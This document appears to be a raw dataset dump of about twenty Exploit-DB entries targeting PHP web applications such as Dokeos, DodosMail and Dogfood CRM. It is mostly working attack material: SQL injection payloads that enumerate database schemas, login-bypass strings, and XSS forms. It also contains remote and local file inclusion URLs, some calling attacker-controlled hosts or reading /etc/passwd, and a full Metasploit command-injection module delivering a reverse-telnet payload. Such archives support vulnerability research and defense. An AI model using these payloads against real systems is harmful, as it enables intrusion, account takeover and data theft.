deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42463
Description: Doctor Patient Project 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-17
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Doctor Patient Project 1.0 - Multiple Vulnerabilities
# Dork: N/A
# Date: 17.08.2017
# Vendor Homepage : http://surajkumar.in/
# Software Link: http://surajkumar.in/product/doctor-patient-project-php/
# Demo: http://surajkumar.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands...
# The vulnerability allows an attacker to access the administration panel...
# The vulnerability allows an paitent and doctors users upload arbitrary file...
# 
# Vulnerable Source:
# # # # #
# <?php
# ....1
# if(isset($_GET['docID']) && isset($_GET['docname'])){
# $docID=$_GET['docID'];
# $docname=$_GET['docname'];
# $docData=docData($docID);
# ...
# function docData($docID){
# $res=array();
# $query=mysql_query("SELECT * FROM ".USERS.",".DOC." WHERE ".DOC.".doc_id='$docID' AND ".USERS.".id=".DOC.".doc_id");
# if(mysql_num_rows($query)>0){
#  	
# ....2
# $data['_filename']=$_FILES['_docImage']['name'];
# $data['_filetmp']=$_FILES['_docImage']['tmp_name'];
# $data['_folder']='doc_images';
# 
# ....3
# if(isset($_POST['signin'])){
# $data=array();
# $data['user']=$_POST['user'];
# $data['pass']=$_POST['pass'];
# $res=adminLogin($data);
# if($res['bool']==true){
# ....
# ?>
# # # # #
# 	
# Proof of Concept:
# 
# 1:
# http://localhost/[PATH]/single.php?docID=[SQL]
# -1'+/*!22222UnIoN*/(/*!22222SeLeCT*/+0x283129,(select(@x)from(select(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=Concat(@x,0x3c62723e,if((@tbl!=table_name),/*!11111Concat*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c[PII_REDACTED]74796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529)--+-&docname=0x30783330
# 
# 2/1:
# http://localhost/[PATH]/patient/profile.php
# http://localhost/[PATH]/patient/pat_images/[FILE].php
# 
# 2/2:
# http://localhost/[PATH]/doctor/profile.php
# http://localhost/[PATH]/doctor/doc_images/[FILE].php
# 
# 3:
# http://localhost/[PATH]/admin
# User: 'or 1=1 or ''=' Pass: 'or 1=1 or ''='
# 
# Etc...
# # # # #
Exploit-DB #43276
Description: Doctor Search Script 1.0 - 'city' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Doctor Search Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/doctor-search-script/
# Demo: http://fxwebsolution.com/demo/doctorsearch/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/list?city=[SQL]&main_search=
# 
# '+/*!11111UNION*/+/*!11111SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-
# 
# 
# # # # #
Exploit-DB #50074
Description: Doctors Patients Management System 1.0 - SQL Injection (Authentication Bypass)
Type: webapps
Platform: php
Date: 2021-06-30
Author: Murat DEMİRCİ

Exploit:
# Exploit Title: Doctors Patients Management System 1.0 - SQL Injection (Authentication Bypass)
# Date: 06/30/2021
# Exploit Author: Murat DEMIRCI (butterflyhunt3r)
# Vendor Homepage: https://www.codester.com/
# Software Link: https://www.codester.com/items/31349/medisol-doctors-patients-managment-system
# Version: 1.0
# Tested on: Windows 10
# Description : The admin login of this app is vulnerable to sql injection login bypass. Anyone can bypass admin login authentication.

# Proof of Concept :
http://test.com/PATH/signin

# Username : anything
# Password : ' or '1'='1
Exploit-DB #17192
Description: docuFORM Mercury WebApp 6.16a/5.20 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-20
Author: LiquidWorm

Exploit:
<!--


docuFORM Mercury WebApp 6.16a/5.20 Multiple Cross-Site Scripting Vulnerabilities


Vendor: docuFORM GmbH
Product web page: http://www.docuform.de
Affected version: 6.16a and 5.20

Summary: Unlimited options for production printing and customer solutions.

Desc: The Mercury Web Application suffers from multiple XSS vulnerabilities when
parsing user input thru the GET parameter 'this_url' and the POST parameter 'aa_sfunc'
in f_state.php, f_list.php, f_job.php and f_header.php scripts. Attackers can exploit
these weaknesses to execute arbitrary HTML and script code in a user's browser session.

Tested on: Mercury HTTP and Database Server 6.16

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic


Advisory ID: ZSL-2011-5010
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5010.php


14.04.2011


-->


<html><title>docuFORM Mercury WebApp 6.16a Multiple Cross-Site Scripting Vulnerabilities</title>
<body bgcolor="#1C1C1C">
<script type="text/javascript">
function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
</script><br /><br />
<form action="http://192.168.16.100:8181/Mercury/f_state.php" enctype="application/x-www-form-urlencoded" method="POST" id="xss1">
<input type="hidden" name="aa_afunc" value="call" />
<input type="hidden" name="aa_sfunc" value="1<script>alert(1)</script>" />
<input type="hidden" name="aa_cfunc" value="OnAgentGetDeviceList" />
<input type="hidden" name="aa_sfunc_args%5B%5D" value="0" /></form>
<form action="http://192.168.16.100:8181/Mercury/f_state.php" enctype="application/x-www-form-urlencoded" method="GET" id="xss2">
<input type="hidden" name="ajaxagent" value="js" />
<input type="hidden" name="this_url" value="1--><script>alert(2)</script>" /></form>
<a href="javascript:xss1();" style="text-decoration:none">
<b><font color="red"><center><h3>'aa_sfunc' param</h3></center></font></b></a><br />
<a href="javascript:xss2();" style="text-decoration:none">
<b><font color="red"><center><h3>'this_url' param</h3></center></font></b></a><br />
</body></html>
Exploit-DB #41832
Description: Document Management Template - 'hash' SQL Injection
Type: webapps
Platform: php
Date: 2017-04-07
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Document Management Template v1.0 for PHPRunner 8.x,ASPRunnerPro 9.x,ASPRunner.NET 8.x or better.- SQL Injection 
# Google Dork: N/A
# Date: 07.04.2017
# Vendor Homepage: https://xlinesoft.com/
# Software: https://xlinesoft.com/docmanager
# Demo: https://xlinesoft.com/livedemo/docmanager/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/Share_add.php?hash=[SQL]
# # # # #
Exploit-DB #7838
Description: Dodo's Quiz Script 1.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-01-20
Author: Stack

Exploit:
##############################################
#   Dodo's Quiz Script Local File Inclusion Vulnerability
##############################################
[+] Author : Stack-Terrorist
[+] v4-team.com
==============================================
Script : Dodo's Quiz Script
#################################################
Exploit : http://localsite/path/dodosquiz.php?n=[LocalFile]
#################################################

# milw0rm.com [2009-01-20]
Exploit-DB #2742
Description: DodosMail 2.0.1 - 'dodosmail.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-08
Author: Cold Zero

Exploit:
--------------------------------------||    Viva Palestine ||-----------------------------------------
--------------------------------------||  Free Saddam Hussien ||-----------------------------------------


DodosMail <= 2.0.1(dodosmail.php)  Remote File Include Vulnerability



Found By  :  CoLd Zero  [ Wasem898 ]

Source    :  include_once ($4AZHAR_TeAM."Securty.");

            require ($SpECiALPowEr.oRg_TeAm."Securty");



PalesTine Arab Muslim Hacker

http://www.smileygenerator.us/smileysig2/links/[PII_REDACTED]54432992.final.gif


######################################################
#
#            DodosMail 2.0.1
#
# Class:     Remote File Include Vulnerability
# Published  2006-11-07
# Remote:    Yes
# Type:      dangerous
# Site:      http://regretless.com/scripts/scripts.php#dodosrangen
#
# Author:    Cold Zero
# Contact:   c.o.1.d.0@hotmail.com
#
######################################################

file ;

dodosmail.php

==========================

       include_dodosmail_header($dodosmail_header_file);
       echo "<p class=\"DodosMailError\">DodosMail Error - the owner the php server is experiencing techinical difficulties. Please email use ".dodosmail_error_handle($your_email_address)." to send your email.\n";
       echo "<br /><br /><a href=\"javascript:history.back(1)\">Back</a>\n";
       echo "</p>\n";
include_dodosmail_footer($dodosmail_footer_file);


======================================================

Exploit :

Http://www.Victem.0/[DodosMail_PaTH]/dodosmail.php?dodosmail_header_file=http://coldzero.shell
Http://www.Victem.0/[DodosMail_PaTH]/dodosmail.php?dodosmail_footer_file=http://coldzero.shell

======================================================

----  GreeTz: [MoHaNdKo] [Cold ThreE] [Viper Hacker] [The Wolf KSA] [o0xxdark0o[ [OrGanza] [H@mLiT] [Snake12][Root Shell]
              [Metoovit] [Fucker_net] [Rageb][CoDeR] [HuGe][Str0ke] [Dr.TaiGaR]



#www.4azhar Team                >>      www.4azhar.com
#SpeciaL PoweR SecuritY TeaM    >>      www.specialpower.org



http://www.smileygenerator.us/smileysig2/links/[PII_REDACTED]54432992.final.gif


--------------------------------------||    Viva Palestine ||-----------------------------------------
--------------------------------------||  Free Saddam Hussien ||-----------------------------------------

# milw0rm.com [2006-11-08]
Exploit-DB #32011
Description: DodosMail 2.5 - 'dodosmail.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-07
Author: ahmadbady

Exploit:
source: https://www.securityfocus.com/bid/30112/info

DodosMail is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to obtain sensitive information that may aid in further attacks.

DodosMail 2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/path/dodosmail.php?dodosmail_header_file=/../../../etc/passwd
Exploit-DB #16917
Description: Dogfood CRM - 'spell.php' Remote Command Execution (Metasploit)
Type: webapps
Platform: php
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: dogfood_spell_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Dogfood CRM spell.php Remote Command Execution',
			'Description'    => %q{
					This module exploits a previously unpublished vulnerability in the
				Dogfood CRM mail function which is vulnerable to command injection
				in the spell check feature.  Because of character restrictions, this
				exploit works best with the double-reverse telnet payload. This
				vulnerability was discovered by LSO and affects v2.0.10.
			},
			'Author'         =>
				[
					'LSO <lso@hushmail.com>', # Exploit module
					'patrick', # Added check code, QA tested ok 20090303, there are no references (yet).
				],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'OSVDB', '54707' ],
					[ 'URL', 'http://downloads.sourceforge.net/dogfood/' ],
				],
			'Privileged'     => false,
			'Platform'       => ['unix'], # patrickw - removed win, linux -> untested
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        => [ ['Automatic', { }], ],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 03 2009'
			))

		register_options(
			[
				OptString.new('URIPATH',   [ true,  "The URI of the spell checker", '/dogfood/mail/spell.php']),
			], self.class)

	end

	def check
		res = send_request_raw(
			{
				'uri' => datastore['URIPATH'],
			}, 1)

		if (res.body =~ /Spell Check complete/)
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		timeout = 1

		cmd = payload.encoded
		data = "data=#{Rex::Text.uri_encode('$( '+ cmd + ' &)x')}"
		uri = datastore['URIPATH']

		response = send_request_cgi(
			{
			'uri' => uri,
			'method' => "POST",
			'data' => data
			},
		timeout)

		handler
	end
end
Exploit-DB #46111
Description: doitX 1.0 - 'search' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-10
Author: Ihsan Sencan

Exploit:
# Exploit Title: doitX 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://mybizcms.com/
# Software Link: https://codecanyon.net/item/doitx/23041037
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/searchs?search=[SQL]&search_from=entries
# 

POST /[PATH]/searchs?search=%45%66%65%27%20%2f%2a%21%31%31%31%31%31%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%31%31%31%31%31%53%45%4c%45%43%54%2a%2f%20%31,%76%65%72%73%69%6f%6e%28%29,%33%2c%34%2c%35,%36%2c%37%2c%38%2c%39%2c%31%30,%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35,%31%36%2c%31%37%2d%2d%20%2d&search_from=entries HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=0d8ccf7db10abc97c8d3c41fa705cbbc
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Wed, 09 Jan 2019 19:19:05 GMT
Server: Apache
X-Powered-By: PHP/7.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Exploit-DB #28787
Description: Dokeos 1.6.4 - Multiple Remote File Inclusions Vulnerabilities
Type: webapps
Platform: php
Date: 2006-10-11
Author: viper-haCker

Exploit:
source: https://www.securityfocus.com/bid/20468/info

Dokeos is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect version 1.6.3.

http://www.example.com/path/claroline/exercice/testheaderpage.php?rootSys=http://EvElCoDe.txt?
http://www.example.com/path/claroline/resourcelinker/resourcelinker.inc.php?clarolineRepositorySys=http://EvElCoDe.txt?
http://www.example.com/path/claroline/tracking/userLog.php?rootSys=http://EvElCoDe.txt?
Exploit-DB #31197
Description: Dokeos 1.8.4 - '/main/admin/course_category.php?category' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-15
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27792/info
   
Dokeos is prone to multiple input-validation vulnerabilities including five SQL-injection issues, one HTML-injection issue, three cross-site scripting issues, and one arbitrary-file-upload issue.
   
Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
Versions prior to Dokeos 1.8.4 SP2 are affected. 

http://www.example.com/[installdir]/dokeos/main/admin/course_category.php?category=<script>alert('DSecRG XSS')</script>
Exploit-DB #31198
Description: Dokeos 1.8.4 - '/main/admin/session_list.php?cmessage' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-15
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27792/info
    
Dokeos is prone to multiple input-validation vulnerabilities including five SQL-injection issues, one HTML-injection issue, three cross-site scripting issues, and one arbitrary-file-upload issue.
    
Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
Versions prior to Dokeos 1.8.4 SP2 are affected. 

http://www.example.com/[installdir]/dokeos/main/admin/session_list.php?action=show_message&message=>%22%27><img/src=javascript:alert('DSecRGXSS')>
Exploit-DB #31196
Description: Dokeos 1.8.4 - '/main/calendar/myagenda.php?courseCode' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-15
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27792/info
  
Dokeos is prone to multiple input-validation vulnerabilities including five SQL-injection issues, one HTML-injection issue, three cross-site scripting issues, and one arbitrary-file-upload issue.
  
Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Versions prior to Dokeos 1.8.4 SP2 are affected. 

http://www.example.com/[installdir]/main/calendar/myagenda.php?courseCode="><script>alert('DSecRG XSS')</script>
Exploit-DB #31200
Description: Dokeos 1.8.4 - '/main/create_course/add_course.php?tutor_name' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27792/info
      
Dokeos is prone to multiple input-validation vulnerabilities including five SQL-injection issues, one HTML-injection issue, three cross-site scripting issues, and one arbitrary-file-upload issue.
      
Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
Versions prior to Dokeos 1.8.4 SP2 are affected. 

POST /dokeos/main/create_course/add_course.php HTTP/1.0
Cookie: dk_sid=av68g9lus300ts870iqebhneh5
Content-Length: 107
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/dokeos/main/create_course/add_course.php
title=1234&category_code=PROJ&wanted_code=1234&course_language=slovenian&_qf__add_course=&tutor_name='
Exploit-DB #31199
Description: Dokeos 1.8.4 - '/main/mySpace/index.php?tracking_list_coaches_column' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27792/info
     
Dokeos is prone to multiple input-validation vulnerabilities including five SQL-injection issues, one HTML-injection issue, three cross-site scripting issues, and one arbitrary-file-upload issue.
     
Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
Versions prior to Dokeos 1.8.4 SP2 are affected. 

http://www.example.com/[installdir]/main/mySpace/index.php?tracking_list_coaches_direction=ASC&tracking_list_coaches_page_nr=1&tracking_list_coaches_per_page=20&view=admin&tracking_list_coaches_column=0';
Exploit-DB #31195
Description: Dokeos 1.8.4 - 'main/inc/lib/events.lib.inc.php' Referer HTTP Header SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27792/info
 
Dokeos is prone to multiple input-validation vulnerabilities including five SQL-injection issues, one HTML-injection issue, three cross-site scripting issues, and one arbitrary-file-upload issue.
 
Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Versions prior to Dokeos 1.8.4 SP2 are affected. 

GET /dokeos/index.php HTTP/1.0
Cookie: dk_sid=av68g9lus300ts870iqebhneh5
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Referer: '
Exploit-DB #31194
Description: Dokeos 1.8.4 - 'whoisonline.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27792/info

Dokeos is prone to multiple input-validation vulnerabilities including five SQL-injection issues, one HTML-injection issue, three cross-site scripting issues, and one arbitrary-file-upload issue.

Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Dokeos 1.8.4 SP2 are affected. 

http://www.example.com/[installdir]/whoisonline.php?id=1'+and+"dsec"="dsecrg"+union+select+user(),version()/*